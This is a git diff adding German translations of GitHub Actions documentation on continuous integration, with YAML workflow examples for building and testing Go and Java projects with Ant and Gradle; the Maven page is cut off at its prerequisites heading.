diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/de-DE/content/actions/automating-builds-and-tests/about-continuous-integration.md
new file mode 100644
index 0000000000..eed83fb6ff
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/about-continuous-integration.md
@@ -0,0 +1,60 @@
+---
+title: About continuous integration
+intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
+redirect_from:
+  - /articles/about-continuous-integration
+  - /github/automating-your-workflow-with-github-actions/about-continuous-integration
+  - /actions/automating-your-workflow-with-github-actions/about-continuous-integration
+  - /actions/building-and-testing-code-with-continuous-integration/about-continuous-integration
+  - /actions/guides/about-continuous-integration
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - CI
+shortTitle: Continuous integration
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About continuous integration
+
+Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts.
+
+When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks.
+
+Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository.
+
+## About continuous integration using {% data variables.product.prodname_actions %}
+
+{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on runner systems that you host. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)."
+{% endif %}
+
+You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook.
+
+{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure.
+
+When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests.
+
+![Screenshot of suggested continuous integration starter workflows](/assets/images/help/repository/ci-with-actions-template-picker.png)
+
+In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)."
+
+For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)."
+
+## Starter workflow
+
+{% data variables.product.product_name %} offers CI starter workflow for a variety of languages and frameworks.
+
+Browse the complete list of CI starter workflow offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.location.product_location %}{% endif %}.
+
+## Further reading
+
+{% ifversion fpt or ghec %}
+- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+{% endif %}
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-go.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-go.md
new file mode 100644
index 0000000000..7f29a422ec
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-go.md
@@ -0,0 +1,219 @@
+---
+title: Erstellen und Testen von Go
+intro: 'Du kannst einen Continuous Integration-Workflow (CI) erstellen, um dein Go-Projekt zu erstellen und zu testen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+shortTitle: Build & test Go
+ms.openlocfilehash: 590edc2af0b7f370e52b449f320bdc2a758450bc
+ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160850'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In dieser Anleitung erfährst du, wie du ein Go-Paket erstellst, testest und veröffentlichst.
+
+Von {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %} gehostete Runner verfügen über einen Toolcache mit vorinstallierter Software, in dem die Abhängigkeiten von Go enthalten sind. Eine umfassende Liste mit aktueller Software und den vorinstallierten Versionen von Go findest du unter [Informationen zu von {% data variables.product.prodname_dotcom %} gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software).
+{% endif %}
+
+## Voraussetzungen
+
+Du solltest bereits mit der YAML-Syntax vertraut sein und wissen, wie sie mit {% data variables.product.prodname_actions %} verwendet wird. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions).
+
+Du solltest über grundlegende Kenntnisse in Bezug auf die Go-Programmiersprache verfügen. Weitere Informationen findest du unter [Erste Schritte mit Go](https://golang.org/doc/tutorial/getting-started).
+
+## Verwenden des Go-Starterworkflows
+
+{% data variables.product.prodname_dotcom %} enthält einen Go-Starterworkflow, der die für die meisten Go-Projekte funktionieren sollte. Dieser Leitfaden enthält Beispiele, die du zum Anpassen des Starterworkflows verwenden kannst. Weitere Informationen findest du im [Go-Starterworkflow](https://github.com/actions/starter-workflows/blob/main/ci/go.yml).
+
+Für einen schnellen Einstieg fügst du den Starterworkflow zum Verzeichnis `.github/workflows` deines Repositorys hinzu.
+
+```yaml{:copy}
+name: Go package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Set up Go
+        uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: 1.15
+
+      - name: Build
+        run: go build -v ./...
+
+      - name: Test
+        run: go test -v ./...
+```
+
+## Angeben einer Go-Version
+
+Der einfachste Weg, eine Go-Version anzugeben, bietet die Aktion `setup-go` von {% data variables.product.prodname_dotcom %}. Weitere Informationen findest du unter der [`setup-go`-Aktion](https://github.com/actions/setup-go/).
+
+Um eine vorinstallierte Version von Go auf einen von {% data variables.product.prodname_dotcom %} gehosteten Runner zu verwenden, musst du die relevante Version an die `go-version`-Eigenschaft der `setup-go`-Aktion übergeben. Mit dieser Aktion wird im Toolcache der jeweiligen Runner nach einer bestimmten Version von Go gesucht, und die erforderlichen Binärdateien werden zu `PATH` hinzugefügt. Diese Änderungen bleiben für den Rest des Auftrags beibehalten.
+
+Die Aktion `setup-go` wird als Methode zur Verwendung von Go mit {% data variables.product.prodname_actions %} empfohlen, da damit ein konsistentes Verhalten bei verschiedenen Runnern und verschiedenen Version von Go gewährleistet werden kann. Wenn du einen selbstgehosteten Runner verwendest, musst du .NET installieren und zu `PATH` hinzufügen.
+
+### Verwenden mehrerer Versionen von Go
+
+```yaml{:copy}
+name: Go
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        go-version: [ '1.14', '1.15', '1.16.x' ]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Go {% raw %}${{ matrix.go-version }}{% endraw %}
+        uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: {% raw %}${{ matrix.go-version }}{% endraw %}
+      # You can test your matrix by printing the current Go version
+      - name: Display Go version
+        run: go version
+```
+
+### Verwenden einer bestimmten Version von Go
+
+Du kannst einen Auftrag so konfigurieren, dass eine bestimmte Version von Go verwendet wird, z. B. `1.16.2`. Alternativ kannst du auch Syntax für semantische Versionierung verwenden, um die neuste Nebenversion abzurufen. In diesem Beispiel wird das neueste Patchrelease von Go 1.16 verwendet:
+
+```yaml{:copy}
+      - name: Setup Go 1.16.x
+        uses: {% data reusables.actions.action-setup-go %}
+        with:
+          # Semantic version range syntax or exact version of Go
+          go-version: '1.16.x'
+```
+
+## Installieren von Abhängigkeiten
+
+Du kannst `go get` zum Installieren von Abhängigkeiten verwenden:
+
+```yaml{:copy}
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Go
+        uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: '1.16.x'
+      - name: Install dependencies
+        run: |
+          go get .
+          go get example.com/octo-examplemodule
+          go get example.com/octo-examplemodule@v1.3.4
+```
+
+{% ifversion actions-caching %}
+
+### Abhängigkeiten „cachen“ (zwischenspeichern)
+
+Du kannst die Abhängigkeiten mithilfe der [Aktion `setup-go`](https://github.com/actions/setup-go) zwischenspeichern und wiederherstellen. Standardmäßig ist die Zwischenspeicherung deaktiviert, du kannst jedoch den `cache`-Parameter auf `true` festlegen, um sie zu aktivieren.
+
+Wenn die Zwischenspeicherung aktiviert ist, sucht die `setup-go`-Aktion nach der Abhängigkeitsdatei `go.sum` im Repositorystamm und verwendet den Hash der Abhängigkeitsdatei als Teil des Cacheschlüssels.
+
+```yaml{:copy}
+      - name: Setup Go
+        uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: '1.16.x'
+          cache: true
+```
+
+Alternativ kannst du den `cache-dependency-path`-Parameter in Fällen verwenden, in denen mehrere Abhängigkeitsdateien verwendet werden, oder wenn sie sich in verschiedenen Unterverzeichnissen befinden.
+
+```yaml{:copy}
+      - uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: '1.17'
+          cache: true
+          cache-dependency-path: subdir/go.sum
+```
+
+Wenn du eine benutzerdefinierte Anforderung verwendest oder genauere Steuerungsmöglichkeiten zum Zwischenspeichern benötigst, kannst du die [Aktion `cache`](https://github.com/marketplace/actions/cache) verwendest. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).
+
+{% endif %}
+
+## Deinen Code bauen und testen
+
+Du kannst die gleichen Befehle verwenden, die du auch lokal verwendest, um deinen Code zu bauen und zu testen. In diesem Beispielworkflow wird veranschaulicht, wie die Befehle `go build` und `go test` in einem Auftrag verwendet werden:
+
+```yaml{:copy}
+name: Go
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Go
+        uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: '1.16.x'
+      - name: Install dependencies
+        run: go get .
+      - name: Build
+        run: go build -v ./...
+      - name: Test with the Go CLI
+        run: go test
+```
+
+## Workflow-Daten als Artefakte paketieren
+
+Nach Abschluss eines Workflows kannst du die resultierenden Artefakte für die Analyse hochladen. Zum Beispiel kann es notwendig sein, Logdateien, Core Dumps, Testergebnisse oder Screenshots zu speichern. Im folgenden Beispiel wird gezeigt, wie die Aktion `upload-artifact` zum Hochladen von Testergebnissen verwendet werden kann.
+
+Weitere Informationen findest du unter [Speichern von Workflowdaten als Artefakte](/actions/using-workflows/storing-workflow-data-as-artifacts).
+
+```yaml{:copy}
+name: Upload Go test results
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        go-version: [ '1.14', '1.15', '1.16.x' ]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Go
+        uses: {% data reusables.actions.action-setup-go %}
+        with:
+          go-version: {% raw %}${{ matrix.go-version }}{% endraw %}
+      - name: Install dependencies
+        run: go get .
+      - name: Test with Go
+        run: go test -json > TestResults-{% raw %}${{ matrix.go-version }}{% endraw %}.json
+      - name: Upload Go test results
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: Go-results-{% raw %}${{ matrix.go-version }}{% endraw %}
+          path: TestResults-{% raw %}${{ matrix.go-version }}{% endraw %}.json
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
new file mode 100644
index 0000000000..e8b9eb8d8f
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
@@ -0,0 +1,122 @@
+---
+title: Java bauen und testen mit Ant
+intro: 'Du kannst einen Workflow für kontinuierliche Integration (CI) in GitHub-Aktionen erstellen, um Dein Java-Projekt mit Ant zu bauen und zu testen.'
+redirect_from:
+  - /actions/language-and-framework-guides/building-and-testing-java-with-ant
+  - /actions/guides/building-and-testing-java-with-ant
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Java
+  - Ant
+shortTitle: Build & test Java & Ant
+ms.openlocfilehash: d1e73fdce7bf23bf1b86ec3eb4d0f8acd9b6d292
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145088732'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieser Leitfaden zeigt Dir, wie Du einen Workflow erstellen kannst, der eine kontinuierliche Integration (CI) für Dein Java-Projekt mit Hilfe des Build-Systems Ant durchführt. Der Workflow, den Du erstellst, zeigt Dir, wenn Commits zu einem Pull-Request zu Build- oder Testfehlern für deinen Standard-Zweig führen. Dieser Ansatz kann dazu beitragen, dass Dein Code immer brauchbar ist. Du kannst Deinen CI-Workflow so erweitern, dass er Artefakte von einem Workflow-Lauf hochlädt.
+
+{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}-gehostete Runner verfügen über einen Toolcache mit vorinstallierter Software, die Java Development Kits (JDKs) und Ant umfasst. Eine Liste der Software und der vorinstallierten Versionen für JDK und Ant findest du unter [Spezifikationen für {% data variables.product.prodname_dotcom %}-gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
+{% endif %}
+
+## Voraussetzungen
+
+Du solltest mit YAML und der Syntax für {% data variables.product.prodname_actions %} vertraut sein. Weitere Informationen finden Sie unter
+- [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+
+Du solltest ein grundlegendes Verständnis von Java und dem Framework Ant haben. Weitere Informationen findest du im [Handbuch zu Apache Ant](https://ant.apache.org/manual/).
+
+{% data reusables.actions.enterprise-setup-prereq %}
+
+## Verwenden des Ant-Starterworkflows
+
+{% data variables.product.prodname_dotcom %} bietet einen Ant-Starterworkflow, der für die meisten Ant-basierten Java-Projekte funktionieren wird. Weitere Informationen findest du im [Ant-Starterworkflow](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
+
+Um schnell loszulegen, kannst du beim Erstellen eines neuen Workflows den vorkonfigurierten Ant-Starterworkflow auswählen. Weitere Informationen findest du in der [Schnellstartanleitung für {% data variables.product.prodname_actions %}](/actions/quickstart).
+
+Du kannst diesen Workflow auch manuell hinzufügen, indem du eine neue Datei im Verzeichnis `.github/workflows` deines Repositorys erstellst.
+
+```yaml{:copy}
+name: Java CI
+
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up JDK 11
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Build with Ant
+        run: ant -noinput -buildfile build.xml
+```
+
+Dieser Workflow führt die folgenden Schritte aus:
+
+1. Im Schritt `checkout` wird eine Kopie deines Repositorys auf den Runner heruntergeladen.
+2. Im Schritt `setup-java` wird das Java 11-JDK von Adoptium konfiguriert.
+3. Der Schritt „Mit Ant erstellen“ führt das Standardziel in deiner Datei `build.xml` im nicht-interaktiven Modus aus.
+
+Die Standardstarterworkflows sind ausgezeichnete Ausgangspunkte beim Erstellen von Build- und Testworkflows, und du kannst den Starterworkflow den Anforderungen deines Projekts anpassen.
+
+{% data reusables.actions.example-github-runner %}
+
+{% data reusables.actions.java-jvm-architecture %}
+
+## Deinen Code bauen und testen
+
+Du kannst die gleichen Befehle verwenden, die Du auch lokal verwendest, um Deinen Code zu bauen und zu testen.
+
+Der Starterworkflow führt das in der Datei _build.xml_ angegebene Standardziel aus.  Dein Standard-Ziel wird normalerweise eingestellt, um Klassen zu bauen, Tests durchzuführen und Klassen in ihr verteilbares Format (z.B . eine JAR-Datei) zu paketieren.
+
+Wenn Du zum Bauen Deines Projekts andere Befehle verwenden oder ein anderes Ziel auszuführen möchtest, kannst Du dies angeben. Du kannst beispielsweise das `jar`-Ziel ausführen, das in deiner Datei `_build-ci.xml_` konfiguriert ist.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+  - name: Run the Ant jar target
+    run: ant -noinput -buildfile build-ci.xml jar
+```
+
+## Workflow-Daten als Artefakte paketieren
+
+Nachdem sowohl Build erfolgreich war und deine Tests bestanden hat, wirst du die resultierenden Java-Pakete als Build-Artefakt hochladen wollen. Dies speichert die gebauten Pakete als Teil der Workflow-Ausführung und ermöglicht Dir, sie herunterzuladen. Artefakte können Dir helfen, Pull-Requests in deiner lokalen Umgebung zu testen und zu debuggen, bevor sie zusammengeführt werden („merge“). Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+Ant erstellt normalerweise Ausgabedateien wie JAR-, EAR- oder WAR-Dateien im Verzeichnis `build/jar`. Du kannst den Inhalt dieses Verzeichnisses mit der Aktion `upload-artifact` hochladen.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+  
+  - run: ant -noinput -buildfile build.xml
+  - uses: {% data reusables.actions.action-upload-artifact %}
+    with:
+      name: Package
+      path: build/jar
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
new file mode 100644
index 0000000000..f37d089b4d
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
@@ -0,0 +1,149 @@
+---
+title: Java bauen und testen mit Gradle
+intro: 'Du kannst einen Workflow für Continuous Integration (CI) in GitHub Actions erstellen, um dein Java-Projekt mit Gradle zu kompilieren und zu testen.'
+redirect_from:
+  - /actions/language-and-framework-guides/building-and-testing-java-with-gradle
+  - /actions/guides/building-and-testing-java-with-gradle
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Java
+  - Gradle
+shortTitle: Build & test Java & Gradle
+ms.openlocfilehash: 00fa6888a45dda090df51260795717bc994be022
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147410443'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieser Leitfaden zeigt Dir, wie du einen Workflow erstellen kannst, der eine kontinuierliche Integration (CI) für dein Java-Projekt mit Hilfe des Build-Systems Gradle durchführt. Der Workflow, den du erstellst, zeigt Dir, wenn Commits zu einem Pull-Request zu Build- oder Testfehlern für deinen Standard-Zweig führen. Dieser Ansatz kann dazu beitragen, dass dein Code immer brauchbar ist. Du kannst deinen CI-Workflow so erweitern, dass er {% ifversion actions-caching %}Dateien zwischenspeichert und{% endif %} Artefakte aus einer Workflowausführung hochlädt.
+
+{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %}-gehostete Runner verfügen über einen Toolcache mit vorinstallierter Software, die Java Development Kits (JDKs) und Gradle umfasst. Eine Liste der Software und der vorinstallierten Versionen für JDK und Gradle findest du unter „[Spezifikationen für {% data variables.product.prodname_dotcom %}-gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software)“.
+{% endif %}
+
+## Voraussetzungen
+
+Du solltest mit YAML und der Syntax für {% data variables.product.prodname_actions %} vertraut sein. Weitere Informationen finden Sie unter
+- [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+
+Du solltest ein grundlegendes Verständnis von Java und dem Framework Gradle haben. Weitere Informationen findest du in der Gradle-Dokumentation unter [Erste Schritte](https://docs.gradle.org/current/userguide/getting_started.html).
+
+{% data reusables.actions.enterprise-setup-prereq %}
+
+## Verwenden des Gradle-Starterworkflows
+
+{% data variables.product.prodname_dotcom %} bietet einen Gradle-Starterworkflow, der für die meisten Gradle-basierten Java-Projekte funktioniert. Weitere Informationen findest du unter [Gradle-Starterworkflow](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
+
+Um schnell loszulegen, kannst du beim Erstellen eines neuen Workflows den vorkonfigurierten Gradle-Starterworkflow auswählen. Weitere Informationen findest du in der [Schnellstartanleitung für {% data variables.product.prodname_actions %}](/actions/quickstart).
+
+Du kannst diesen Workflow auch manuell hinzufügen, indem du eine neue Datei im Verzeichnis `.github/workflows` deines Repositorys erstellst.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Java CI
+
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up JDK 11
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Validate Gradle wrapper
+        uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b
+      - name: Build with Gradle
+        uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1
+        with:
+          arguments: build
+```
+
+Dieser Workflow führt die folgenden Schritte aus:
+
+1. Im Schritt `checkout` wird eine Kopie deines Repositorys auf den Runner heruntergeladen.
+2. Im Schritt `setup-java` wird das Java 11-JDK von Adoptium konfiguriert.
+3. Im Schritt „Valid Gradle wrapper“ werden die Prüfsummen von Gradle Wrapper JAR-Dateien überprüft, die in der Quellstruktur vorhanden sind.
+4. Im Schritt „Build with Gradle“ wird mit der Aktion `gradle/gradle-build-action`, die von der Gradle-Organisation auf {% data variables.product.prodname_dotcom %} bereitgestellt wird, ein Build ausgeführt. Die Aktion umfasst das Aufrufen von Gradle, das Sammeln von Ergebnissen und das Zwischenspeichern des Status zwischen Aufträgen. Weitere Informationen findest du unter [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action).
+
+Die Standardstarterworkflows sind ausgezeichnete Ausgangspunkte beim Erstellen von Build- und Testworkflows, und du kannst den Starterworkflow den Anforderungen deines Projekts anpassen.
+
+{% data reusables.actions.example-github-runner %}
+
+{% data reusables.actions.java-jvm-architecture %}
+
+## Deinen Code bauen und testen
+
+Du kannst die gleichen Befehle verwenden, die du auch lokal verwendest, um deinen Code zu bauen und zu testen.
+
+Der Starterworkflow führt standardmäßig die `build`-Aufgabe aus. In der Standard-Gradle-Konfiguration lädt dieser Befehl Abhängigkeiten herunter, baut Klassen, führt Tests durch und paketiert Klassen in ihr verteilbares Format, zum Beispiel eine JAR-Datei.
+
+Wenn du zum Bauen deines Projekts andere Befehle verwenden oder einen anderen Task auszuführen möchtest, kannst du dies angeben. Du kannst beispielsweise die `package`-Aufgabe ausführen, die in der _ci.gradle_-Datei konfiguriert ist.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+  - name: Validate Gradle wrapper
+    uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b
+  - name: Run the Gradle package task
+    uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1
+    with:
+      arguments: -b ci.gradle package
+```
+
+{% ifversion actions-caching %}
+
+## Abhängigkeiten „cachen“ (zwischenspeichern)
+
+Deine Buildabhängigkeiten können zwischengespeichert werden, um deine Workflowausführungen zu beschleunigen. Nach einer erfolgreichen Ausführung werden wichtige Teile des Basisverzeichnisses für Gradle-Benutzer von `gradle/gradle-build-action` zwischengespeichert. In künftigen Aufträgen wird der Cache wiederhergestellt, sodass Buildskripts nicht neu kompiliert werden müssen und Abhängigkeiten nicht erneut aus Remotepaketrepositorys heruntergeladen werden müssen.
+
+Das Zwischenspeichern ist standardmäßig aktiviert, wenn die Aktion `gradle/gradle-build-action` verwendet wird. Weitere Informationen findest du unter [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action#caching).
+
+{% endif %}
+
+## Workflow-Daten als Artefakte paketieren
+
+Nachdem sowohl Build erfolgreich war und deine Tests bestanden hat, wirst du die resultierenden Java-Pakete als Build-Artefakt hochladen wollen. Dies speichert die gebauten Pakete als Teil der Workflow-Ausführung und ermöglicht Dir, sie herunterzuladen. Artefakte können Dir helfen, Pull-Requests in deiner lokalen Umgebung zu testen und zu debuggen, bevor sie zusammengeführt werden („merge“). Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+Gradle erstellt normalerweise Ausgabedateien wie JARs, EARs oder WARs im Verzeichnis `build/libs`. Du kannst den Inhalt dieses Verzeichnisses mit der Aktion `upload-artifact` hochladen.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+  - name: Validate Gradle wrapper
+    uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b
+  - name: Build with Gradle
+    uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1
+    with:
+      arguments: build
+  - uses: {% data reusables.actions.action-upload-artifact %}
+    with:
+      name: Package
+      path: build/libs
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
new file mode 100644
index 0000000000..93a13ce0d6
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
@@ -0,0 +1,145 @@
+---
+title: Java bauen und testen mit Maven
+intro: 'Du kannst einen Workflow für Continuous Integration (CI) in GitHub Actions erstellen, um dein Java-Projekt mit Maven zu erstellen und zu testen.'
+redirect_from:
+  - /actions/language-and-framework-guides/building-and-testing-java-with-maven
+  - /actions/guides/building-and-testing-java-with-maven
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Java
+  - Maven
+shortTitle: Build & test Java with Maven
+ms.openlocfilehash: 59d8961a7fdd1d8b84a05b8762bb09be3d2ab01c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146179807'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Dieser Leitfaden zeigt Dir, wie du einen Workflow erstellen kannst, der eine kontinuierliche Integration (CI) für dein Java-Projekt mit Hilfe des Software-Projektmanagement-Tools Maven durchführt. Der Workflow, den du erstellst, zeigt Dir, wenn Commits zu einem Pull-Request zu Build- oder Testfehlern für deinen Standard-Zweig führen. Dieser Ansatz kann dazu beitragen, dass dein Code immer brauchbar ist. Du kannst deinen CI-Workflow so erweitern, dass er {% ifversion actions-caching %}Dateien zwischenspeichert und{% endif %} Artefakte aus einer Workflowausführung hochlädt.
+
+Von {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %} gehostete Runner verfügen über einen Toolcache mit vorinstallierter Software, die Java Development Kits (JDKs) und Maven umfasst. Eine Liste der Software und der vorinstallierten Versionen für JDK und Maven findest du unter [Spezifikationen für von {% data variables.product.prodname_dotcom %} gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
+{% endif %}
+
+## Voraussetzungen
